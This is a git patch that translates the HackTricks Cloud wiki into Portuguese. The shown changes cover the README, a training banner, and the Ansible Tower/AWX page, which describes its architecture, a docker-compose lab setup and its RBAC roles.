From 427eda5e4bd5bf9255bda81d3e6328328056f315 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 31 Dec 2024 20:11:38 +0000 Subject: [PATCH] Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/ --- src/README.md | 24 +- src/SUMMARY.md | 2 + src/banners/hacktricks-training.md | 16 +- ...ower-awx-automation-controller-security.md | 152 ++- .../apache-airflow-security/README.md | 156 ++- .../airflow-configuration.md | 116 +- .../apache-airflow-security/airflow-rbac.md | 32 +- src/pentesting-ci-cd/atlantis-security.md | 304 +++-- src/pentesting-ci-cd/circleci-security.md | 298 +++-- .../cloudflare-security/README.md | 120 +- .../cloudflare-security/cloudflare-domains.md | 132 +-- .../cloudflare-zero-trust-network.md | 46 +- .../concourse-security/README.md | 20 +- .../concourse-architecture.md | 34 +- .../concourse-enumeration-and-attacks.md | 328 +++--- .../concourse-lab-creation.md | 144 ++- src/pentesting-ci-cd/gitea-security/README.md | 134 +-- .../gitea-security/basic-gitea-information.md | 118 +- .../github-security/README.md | 254 ++-- .../abusing-github-actions/README.md | 578 +++++----- .../gh-actions-artifact-poisoning.md | 7 +- .../gh-actions-cache-poisoning.md | 5 - .../gh-actions-context-script-injections.md | 7 +- .../accessible-deleted-data-in-github.md | 56 +- .../basic-github-information.md | 296 +++-- .../jenkins-security/README.md | 310 +++-- .../basic-jenkins-information.md | 86 +- ...itrary-file-read-to-rce-via-remember-me.md | 112 +- .../jenkins-dumping-secrets-from-groovy.md | 78 +- ...jenkins-rce-creating-modifying-pipeline.md | 40 +- .../jenkins-rce-creating-modifying-project.md | 36 +- .../jenkins-rce-with-groovy-script.md | 42 +- src/pentesting-ci-cd/okta-security/README.md | 86 +- .../okta-security/okta-hardening.md | 126 +- .../pentesting-ci-cd-methodology.md | 96 +- .../serverless.com-security.md | 1026 ++++++++--------- src/pentesting-ci-cd/supabase-security.md | 110 +- src/pentesting-ci-cd/terraform-security.md | 296 +++-- src/pentesting-ci-cd/todo.md | 8 +- .../travisci-security/README.md | 46 +- .../basic-travisci-information.md | 72 +- src/pentesting-ci-cd/vercel-security.md | 532 +++++---- src/pentesting-cloud/aws-security/README.md | 220 ++-- .../aws-basic-information/README.md | 390 +++---- .../aws-federation-abuse.md | 158 ++- .../aws-permissions-for-a-pentest.md | 26 +- .../aws-security/aws-persistence/README.md | 7 +- .../aws-api-gateway-persistence.md | 30 +- .../aws-cognito-persistence.md | 32 +- .../aws-dynamodb-persistence.md | 62 +- .../aws-persistence/aws-ec2-persistence.md | 50 +- .../aws-persistence/aws-ecr-persistence.md | 104 +- .../aws-persistence/aws-ecs-persistence.md | 104 +- .../aws-persistence/aws-efs-persistence.md | 14 +- .../aws-elastic-beanstalk-persistence.md | 82 +- .../aws-persistence/aws-iam-persistence.md | 56 +- .../aws-persistence/aws-kms-persistence.md | 28 +- .../aws-lambda-persistence/README.md | 60 +- .../aws-abusing-lambda-extensions.md | 36 +- .../aws-lambda-layers-persistence.md | 104 +- .../aws-lightsail-persistence.md | 28 +- .../aws-persistence/aws-rds-persistence.md | 20 +- .../aws-persistence/aws-s3-persistence.md | 16 +- .../aws-secrets-manager-persistence.md | 52 +- .../aws-persistence/aws-sns-persistence.md | 116 +- .../aws-persistence/aws-sqs-persistence.md | 42 +- .../aws-persistence/aws-ssm-perssitence.md | 5 - .../aws-step-functions-persistence.md | 18 +- .../aws-persistence/aws-sts-persistence.md | 132 +-- .../aws-post-exploitation/README.md | 7 +- .../aws-api-gateway-post-exploitation.md | 78 +- .../aws-cloudfront-post-exploitation.md | 28 +- .../aws-codebuild-post-exploitation/README.md | 56 +- .../aws-codebuild-token-leakage.md | 202 ++-- .../aws-control-tower-post-exploitation.md | 14 +- .../aws-dlm-post-exploitation.md | 154 ++- .../aws-dynamodb-post-exploitation.md | 296 ++--- .../README.md | 593 +++++----- .../aws-ebs-snapshot-dump.md | 70 +- .../aws-malicious-vpc-mirror.md | 14 +- .../aws-ecr-post-exploitation.md | 54 +- .../aws-ecs-post-exploitation.md | 44 +- .../aws-efs-post-exploitation.md | 34 +- .../aws-eks-post-exploitation.md | 132 +-- ...aws-elastic-beanstalk-post-exploitation.md | 50 +- .../aws-iam-post-exploitation.md | 104 +- .../aws-kms-post-exploitation.md | 138 +-- .../aws-lambda-post-exploitation/README.md | 16 +- .../aws-warm-lambda-persistence.md | 58 +- .../aws-lightsail-post-exploitation.md | 22 +- .../aws-organizations-post-exploitation.md | 14 +- .../aws-rds-post-exploitation.md | 60 +- .../aws-s3-post-exploitation.md | 34 +- .../aws-secrets-manager-post-exploitation.md | 40 +- .../aws-ses-post-exploitation.md | 48 +- .../aws-sns-post-exploitation.md | 50 +- .../aws-sqs-post-exploitation.md | 52 +- ...sso-and-identitystore-post-exploitation.md | 12 +- .../aws-stepfunctions-post-exploitation.md | 42 +- .../aws-sts-post-exploitation.md | 50 +- .../aws-vpn-post-exploitation.md | 8 +- .../aws-privilege-escalation/README.md | 20 +- .../aws-apigateway-privesc.md | 56 +- .../aws-chime-privesc.md | 4 - .../aws-cloudformation-privesc/README.md | 92 +- ...stack-and-cloudformation-describestacks.md | 126 +- .../aws-codebuild-privesc.md | 248 ++-- .../aws-codepipeline-privesc.md | 20 +- .../aws-codestar-privesc/README.md | 60 +- ...ateproject-codestar-associateteammember.md | 146 ++- .../iam-passrole-codestar-createproject.md | 106 +- .../aws-cognito-privesc.md | 274 ++--- .../aws-datapipeline-privesc.md | 84 +- .../aws-directory-services-privesc.md | 20 +- .../aws-dynamodb-privesc.md | 12 +- .../aws-ebs-privesc.md | 16 +- .../aws-ec2-privesc.md | 204 ++-- .../aws-ecr-privesc.md | 108 +- .../aws-ecs-privesc.md | 230 ++-- .../aws-efs-privesc.md | 90 +- .../aws-elastic-beanstalk-privesc.md | 140 +-- .../aws-emr-privesc.md | 44 +- .../aws-privilege-escalation/aws-gamelift.md | 12 +- .../aws-glue-privesc.md | 48 +- .../aws-iam-privesc.md | 188 ++- .../aws-kms-privesc.md | 124 +- .../aws-lambda-privesc.md | 212 ++-- .../aws-lightsail-privesc.md | 110 +- .../aws-mediapackage-privesc.md | 14 +- .../aws-mq-privesc.md | 26 +- .../aws-msk-privesc.md | 14 +- .../aws-organizations-prinvesc.md | 14 +- .../aws-rds-privesc.md | 114 +- .../aws-redshift-privesc.md | 50 +- .../aws-s3-privesc.md | 222 ++-- .../aws-sagemaker-privesc.md | 82 +- .../aws-secrets-manager-privesc.md | 40 +- .../aws-sns-privesc.md | 24 +- .../aws-sqs-privesc.md | 26 +- .../aws-ssm-privesc.md | 72 +- .../aws-sso-and-identitystore-privesc.md | 78 +- .../aws-stepfunctions-privesc.md | 284 +++-- .../aws-sts-privesc.md | 122 +- .../aws-workdocs-privesc.md | 26 +- .../eventbridgescheduler-privesc.md | 48 +- ...acm-pca-issuecertificate-acm-pca-getcer.md | 26 +- .../aws-security/aws-services/README.md | 42 +- .../aws-services/aws-api-gateway-enum.md | 176 ++- ...m-and-private-certificate-authority-pca.md | 20 +- .../aws-cloudformation-and-codestar-enum.md | 28 +- .../aws-services/aws-cloudfront-enum.md | 20 +- .../aws-services/aws-cloudhsm-enum.md | 76 +- .../aws-services/aws-codebuild-enum.md | 40 +- .../aws-services/aws-cognito-enum/README.md | 30 +- .../cognito-identity-pools.md | 122 +- .../aws-cognito-enum/cognito-user-pools.md | 434 +++---- ...e-codepipeline-codebuild-and-codecommit.md | 42 +- .../aws-directory-services-workdocs-enum.md | 46 +- .../aws-services/aws-documentdb-enum.md | 14 +- .../aws-services/aws-dynamodb-enum.md | 106 +- .../README.md | 148 ++- .../aws-nitro-enum.md | 176 ++- ...ws-vpc-and-networking-basic-information.md | 204 ++-- .../aws-security/aws-services/aws-ecr-enum.md | 68 +- .../aws-security/aws-services/aws-ecs-enum.md | 50 +- .../aws-security/aws-services/aws-efs-enum.md | 96 +- .../aws-security/aws-services/aws-eks-enum.md | 22 +- .../aws-elastic-beanstalk-enum.md | 76 +- .../aws-services/aws-elasticache.md | 8 +- .../aws-security/aws-services/aws-emr-enum.md | 52 +- .../aws-security/aws-services/aws-iam-enum.md | 134 +-- .../aws-kinesis-data-firehose-enum.md | 22 +- .../aws-security/aws-services/aws-kms-enum.md | 150 ++- .../aws-services/aws-lambda-enum.md | 96 +- .../aws-services/aws-lightsail-enum.md | 22 +- .../aws-security/aws-services/aws-mq-enum.md | 38 +- .../aws-security/aws-services/aws-msk-enum.md | 36 +- .../aws-services/aws-organizations-enum.md | 24 +- .../aws-services/aws-other-services-enum.md | 16 +- .../aws-services/aws-redshift-enum.md | 42 +- .../aws-relational-database-rds-enum.md | 104 +- .../aws-services/aws-route53-enum.md | 18 +- .../aws-s3-athena-and-glacier-enum.md | 258 ++--- .../aws-services/aws-secrets-manager-enum.md | 26 +- .../README.md | 7 +- .../aws-cloudtrail-enum.md | 228 ++-- .../aws-cloudwatch-enum.md | 388 +++---- .../aws-config-enum.md | 52 +- .../aws-control-tower-enum.md | 24 +- .../aws-cost-explorer-enum.md | 16 +- .../aws-detective-enum.md | 8 +- .../aws-firewall-manager-enum.md | 212 ++-- .../aws-guardduty-enum.md | 130 +-- .../aws-inspector-enum.md | 246 ++-- .../aws-macie-enum.md | 96 +- .../aws-security-hub-enum.md | 32 +- .../aws-shield-enum.md | 12 +- .../aws-trusted-advisor-enum.md | 94 +- .../aws-waf-enum.md | 404 +++---- .../aws-security/aws-services/aws-ses-enum.md | 46 +- .../aws-security/aws-services/aws-sns-enum.md | 50 +- .../aws-services/aws-sqs-and-sns-enum.md | 20 +- .../aws-services/aws-stepfunctions-enum.md | 376 +++--- .../aws-security/aws-services/aws-sts-enum.md | 80 +- .../aws-services/eventbridgescheduler-enum.md | 50 +- .../aws-unauthenticated-enum-access/README.md | 66 +- .../aws-accounts-unauthenticated-enum.md | 32 +- .../aws-api-gateway-unauthenticated-enum.md | 64 +- .../aws-cloudfront-unauthenticated-enum.md | 8 +- .../aws-codebuild-unauthenticated-access.md | 22 +- .../aws-cognito-unauthenticated-enum.md | 38 +- .../aws-documentdb-enum.md | 8 +- .../aws-dynamodb-unauthenticated-access.md | 10 +- .../aws-ec2-unauthenticated-enum.md | 30 +- .../aws-ecr-unauthenticated-enum.md | 22 +- .../aws-ecs-unauthenticated-enum.md | 14 +- ...-elastic-beanstalk-unauthenticated-enum.md | 28 +- .../aws-elasticsearch-unauthenticated-enum.md | 8 +- .../aws-iam-and-sts-unauthenticated-enum.md | 186 ++- ...ity-center-and-sso-unauthenticated-enum.md | 96 +- .../aws-iot-unauthenticated-enum.md | 8 +- .../aws-kinesis-video-unauthenticated-enum.md | 8 +- .../aws-lambda-unauthenticated-access.md | 22 +- .../aws-media-unauthenticated-enum.md | 8 +- .../aws-mq-unauthenticated-enum.md | 14 +- .../aws-msk-unauthenticated-enum.md | 14 +- .../aws-rds-unauthenticated-enum.md | 20 +- .../aws-redshift-unauthenticated-enum.md | 8 +- .../aws-s3-unauthenticated-enum.md | 174 ++- .../aws-sns-unauthenticated-enum.md | 14 +- .../aws-sqs-unauthenticated-enum.md | 14 +- src/pentesting-cloud/azure-security/README.md | 132 +-- .../az-basic-information/README.md | 492 ++++---- .../az-tokens-and-public-applications.md | 204 ++-- .../azure-security/az-device-registration.md | 68 +- .../azure-security/az-enumeration-tools.md | 82 +- .../az-arc-vulnerable-gpo-deploy-script.md | 46 +- .../az-local-cloud-credentials.md | 44 +- .../az-pass-the-certificate.md | 36 +- .../az-pass-the-cookie.md | 24 +- ...g-primary-refresh-token-microsoft-entra.md | 6 +- .../az-primary-refresh-token-prt.md | 6 +- .../az-processes-memory-access-token.md | 20 +- .../az-permissions-for-a-pentest.md | 6 +- .../pentesting-cloud-methodology.md | 220 ++-- 245 files changed, 10192 insertions(+), 12906 deletions(-) diff --git a/src/README.md b/src/README.md index 01b146fd1..f2102e6a1 100644 --- a/src/README.md +++ b/src/README.md @@ -6,35 +6,31 @@ Reading time: {{ #reading_time }}
-_Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_Logos e animações do Hacktricks projetados por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ > [!TIP] -> Welcome to the page where you will find each **hacking trick/technique/whatever related to CI/CD & Cloud** I have learnt in **CTFs**, **real** life **environments**, **researching**, and **reading** researches and news. +> Bem-vindo à página onde você encontrará cada **truque/técnica de hacking/o que for relacionado a CI/CD & Cloud** que aprendi em **CTFs**, **ambientes** **reais**, **pesquisando** e **lendo** pesquisas e notícias. -### **Pentesting CI/CD Methodology** +### **Metodologia de Pentesting CI/CD** -**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:** +**Na Metodologia de CI/CD do HackTricks você encontrará como pentestar a infraestrutura relacionada a atividades de CI/CD.** Leia a página a seguir para uma **introdução:** [pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md) -### Pentesting Cloud Methodology +### Metodologia de Pentesting Cloud -**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:** +**Na Metodologia Cloud do HackTricks você encontrará como pentestar ambientes de cloud.** Leia a página a seguir para uma **introdução:** [pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md) -### License & Disclaimer +### Licença & Isenção de Responsabilidade -**Check them in:** +**Verifique-os em:** [HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq) -### Github Stats +### Estatísticas do Github -![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg) +![Estatísticas do HackTricks Cloud no Github](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg) {{#include ./banners/hacktricks-training.md}} - - - - diff --git a/src/SUMMARY.md b/src/SUMMARY.md index feae5163c..1b1d60c58 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -505,3 +505,5 @@ + + diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index b684cee3d..33b00ca17 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -1,17 +1,13 @@ > [!TIP] -> Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -> Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +> Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +> Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) > >
> -> Support HackTricks +> Suporte ao HackTricks > -> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +> - Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +> - **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +> - **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. > >
- - - - diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md index d3fbf19e5..1b090fb0d 100644 --- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md +++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md @@ -4,60 +4,59 @@ ## Basic Information -**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows. +**Ansible Tower** ou sua versão de código aberto [**AWX**](https://github.com/ansible/awx) também é conhecido como **interface de usuário, painel e API REST do Ansible**. Com **controle de acesso baseado em função**, agendamento de tarefas e gerenciamento gráfico de inventário, você pode gerenciar sua infraestrutura Ansible a partir de uma interface moderna. A API REST do Tower e a interface de linha de comando facilitam a integração com ferramentas e fluxos de trabalho atuais. -**Automation Controller is a newer** version of Ansible Tower with more capabilities. +**Automation Controller é uma versão mais nova** do Ansible Tower com mais capacidades. ### Differences -According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows. +De acordo com [**este**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), as principais diferenças entre Ansible Tower e AWX são o suporte recebido e o Ansible Tower possui recursos adicionais, como controle de acesso baseado em função, suporte para APIs personalizadas e fluxos de trabalho definidos pelo usuário. ### Tech Stack -- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs. -- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface. -- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data. -- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners. -- **Redis**: Redis serves as a cache and a backend for the task queue. +- **Web Interface**: Esta é a interface gráfica onde os usuários podem gerenciar inventários, credenciais, modelos e tarefas. É projetada para ser intuitiva e fornece visualizações para ajudar a entender o estado e os resultados de suas tarefas de automação. +- **REST API**: Tudo o que você pode fazer na interface da web, você também pode fazer via API REST. Isso significa que você pode integrar AWX/Tower com outros sistemas ou scriptar ações que normalmente você realizaria na interface. +- **Database**: AWX/Tower usa um banco de dados (tipicamente PostgreSQL) para armazenar sua configuração, resultados de tarefas e outros dados operacionais necessários. +- **RabbitMQ**: Este é o sistema de mensagens usado pelo AWX/Tower para se comunicar entre os diferentes componentes, especialmente entre o serviço web e os executores de tarefas. +- **Redis**: Redis serve como um cache e um backend para a fila de tarefas. ### Logical Components -- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc. -- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed.. -- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job. -- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run. -- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials. -- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events. -- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc. -- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed. +- **Inventories**: Um inventário é uma **coleção de hosts (ou nós)** contra os quais **tarefas** (playbooks do Ansible) podem ser **executadas**. AWX/Tower permite que você defina e agrupe seus inventários e também suporta inventários dinâmicos que podem **buscar listas de hosts de outros sistemas** como AWS, Azure, etc. +- **Projects**: Um projeto é essencialmente uma **coleção de playbooks do Ansible** provenientes de um **sistema de controle de versão** (como Git) para puxar os playbooks mais recentes quando necessário. +- **Templates**: Modelos de tarefas definem **como um determinado playbook será executado**, especificando o **inventário**, **credenciais** e outros **parâmetros** para a tarefa. +- **Credentials**: AWX/Tower fornece uma maneira segura de **gerenciar e armazenar segredos, como chaves SSH, senhas e tokens de API**. Essas credenciais podem ser associadas a modelos de tarefas para que os playbooks tenham o acesso necessário quando forem executados. +- **Task Engine**: É aqui que a mágica acontece. O mecanismo de tarefas é construído sobre o Ansible e é responsável por **executar os playbooks**. As tarefas são despachadas para o mecanismo de tarefas, que então executa os playbooks do Ansible contra o inventário designado usando as credenciais especificadas. +- **Schedulers and Callbacks**: Esses são recursos avançados no AWX/Tower que permitem que **tarefas sejam agendadas** para serem executadas em horários específicos ou acionadas por eventos externos. +- **Notifications**: AWX/Tower pode enviar notificações com base no sucesso ou falha das tarefas. Ele suporta vários meios de notificações, como e-mails, mensagens do Slack, webhooks, etc. +- **Ansible Playbooks**: Playbooks do Ansible são ferramentas de configuração, implantação e orquestração. Eles descrevem o estado desejado dos sistemas de uma maneira automatizada e repetível. Escritos em YAML, os playbooks usam a linguagem de automação declarativa do Ansible para descrever configurações, tarefas e etapas que precisam ser executadas. ### Job Execution Flow -1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower. +1. **User Interaction**: Um usuário pode interagir com AWX/Tower através da **Web Interface** ou da **REST API**. Essas fornecem acesso frontal a todas as funcionalidades oferecidas pelo AWX/Tower. 2. **Job Initiation**: - - The user, via the Web Interface or API, initiates a job based on a **Job Template**. - - The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**. - - Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution. +- O usuário, via a Web Interface ou API, inicia uma tarefa com base em um **Modelo de Tarefa**. +- O Modelo de Tarefa inclui referências ao **Inventário**, **Projeto** (contendo o playbook) e **Credenciais**. +- Após a iniciação da tarefa, uma solicitação é enviada ao backend do AWX/Tower para colocar a tarefa na fila para execução. 3. **Job Queuing**: - - **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ. - - **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution. +- **RabbitMQ** gerencia a comunicação entre o componente web e os executores de tarefas. Uma vez que uma tarefa é iniciada, uma mensagem é despachada para o mecanismo de tarefas usando RabbitMQ. +- **Redis** atua como o backend para a fila de tarefas, gerenciando tarefas enfileiradas aguardando execução. 4. **Job Execution**: - - The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials. - - Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**. - - As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**. +- O **Task Engine** pega a tarefa enfileirada. Ele recupera as informações necessárias do **Banco de Dados** sobre o playbook associado à tarefa, inventário e credenciais. +- Usando o playbook do Ansible recuperado do **Projeto** associado, o Task Engine executa o playbook contra os nós do **Inventário** especificado usando as **Credenciais** fornecidas. +- À medida que o playbook é executado, sua saída de execução (logs, fatos, etc.) é capturada e armazenada no **Banco de Dados**. 5. **Job Results**: - - Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**. - - Users can then view the results through the Web Interface or query them via the REST API. - - Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc. +- Uma vez que o playbook termina de ser executado, os resultados (sucesso, falha, logs) são salvos no **Banco de Dados**. +- Os usuários podem então visualizar os resultados através da Web Interface ou consultá-los via API REST. +- Com base nos resultados da tarefa, **Notificações** podem ser despachadas para informar os usuários ou sistemas externos sobre o status da tarefa. As notificações podem ser e-mails, mensagens do Slack, webhooks, etc. 6. **External Systems Integration**: - - **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more. - - **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution. - - **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times. +- **Inventories** podem ser dinamicamente obtidos de sistemas externos, permitindo que o AWX/Tower puxe hosts de fontes como AWS, Azure, VMware e mais. +- **Projects** (playbooks) podem ser buscados de sistemas de controle de versão, garantindo o uso de playbooks atualizados durante a execução da tarefa. +- **Schedulers and Callbacks** podem ser usados para integrar com outros sistemas ou ferramentas, fazendo com que o AWX/Tower reaja a gatilhos externos ou execute tarefas em horários predeterminados. ### AWX lab creation for testing -[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX: - +[**Seguindo a documentação**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) é possível usar docker-compose para executar AWX: ```bash git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version @@ -83,61 +82,56 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser # Load demo data docker exec tools_awx_1 awx-manage create_preload_data ``` - ## RBAC -### Supported roles +### Funções suportadas -The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**. +A função mais privilegiada é chamada de **Administrador do Sistema**. Qualquer pessoa com essa função pode **modificar qualquer coisa**. -From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one. +De uma revisão de **segurança de caixa branca**, você precisaria da **função de Auditor do Sistema**, que permite **visualizar todos os dados do sistema**, mas não pode fazer nenhuma alteração. Outra opção seria obter a **função de Auditor da Organização**, mas seria melhor obter a outra.
-Expand this to get detailed description of available roles +Expanda isso para obter uma descrição detalhada das funções disponíveis -1. **System Administrator**: - - This is the superuser role with permissions to access and modify any resource in the system. - - They can manage all organizations, teams, projects, inventories, job templates, etc. -2. **System Auditor**: - - Users with this role can view all system data but cannot make any changes. - - This role is designed for compliance and oversight. -3. **Organization Roles**: - - **Admin**: Full control over the organization's resources. - - **Auditor**: View-only access to the organization's resources. - - **Member**: Basic membership in an organization without any specific permissions. - - **Execute**: Can run job templates within the organization. - - **Read**: Can view the organization’s resources. -4. **Project Roles**: - - **Admin**: Can manage and modify the project. - - **Use**: Can use the project in a job template. - - **Update**: Can update project using SCM (source control). -5. **Inventory Roles**: - - **Admin**: Can manage and modify the inventory. - - **Ad Hoc**: Can run ad hoc commands on the inventory. - - **Update**: Can update the inventory source. - - **Use**: Can use the inventory in a job template. - - **Read**: View-only access. -6. **Job Template Roles**: - - **Admin**: Can manage and modify the job template. - - **Execute**: Can run the job. - - **Read**: View-only access. -7. **Credential Roles**: - - **Admin**: Can manage and modify the credentials. - - **Use**: Can use the credentials in job templates or other relevant resources. - - **Read**: View-only access. -8. **Team Roles**: - - **Member**: Part of the team but without any specific permissions. - - **Admin**: Can manage the team's members and associated resources. -9. **Workflow Roles**: - - **Admin**: Can manage and modify the workflow. - - **Execute**: Can run the workflow. - - **Read**: View-only access. +1. **Administrador do Sistema**: +- Esta é a função de superusuário com permissões para acessar e modificar qualquer recurso no sistema. +- Eles podem gerenciar todas as organizações, equipes, projetos, inventários, modelos de trabalho, etc. +2. **Auditor do Sistema**: +- Usuários com essa função podem visualizar todos os dados do sistema, mas não podem fazer alterações. +- Esta função é projetada para conformidade e supervisão. +3. **Funções da Organização**: +- **Admin**: Controle total sobre os recursos da organização. +- **Auditor**: Acesso somente para visualização aos recursos da organização. +- **Membro**: Membro básico em uma organização sem permissões específicas. +- **Executar**: Pode executar modelos de trabalho dentro da organização. +- **Ler**: Pode visualizar os recursos da organização. +4. **Funções do Projeto**: +- **Admin**: Pode gerenciar e modificar o projeto. +- **Usar**: Pode usar o projeto em um modelo de trabalho. +- **Atualizar**: Pode atualizar o projeto usando SCM (controle de versão). +5. **Funções do Inventário**: +- **Admin**: Pode gerenciar e modificar o inventário. +- **Ad Hoc**: Pode executar comandos ad hoc no inventário. +- **Atualizar**: Pode atualizar a fonte do inventário. +- **Usar**: Pode usar o inventário em um modelo de trabalho. +- **Ler**: Acesso somente para visualização. +6. **Funções do Modelo de Trabalho**: +- **Admin**: Pode gerenciar e modificar o modelo de trabalho. +- **Executar**: Pode executar o trabalho. +- **Ler**: Acesso somente para visualização. +7. **Funções de Credenciais**: +- **Admin**: Pode gerenciar e modificar as credenciais. +- **Usar**: Pode usar as credenciais em modelos de trabalho ou outros recursos relevantes. +- **Ler**: Acesso somente para visualização. +8. **Funções da Equipe**: +- **Membro**: Parte da equipe, mas sem permissões específicas. +- **Admin**: Pode gerenciar os membros da equipe e os recursos associados. +9. **Funções do Fluxo de Trabalho**: +- **Admin**: Pode gerenciar e modificar o fluxo de trabalho. +- **Executar**: Pode executar o fluxo de trabalho. +- **Ler**: Acesso somente para visualização.
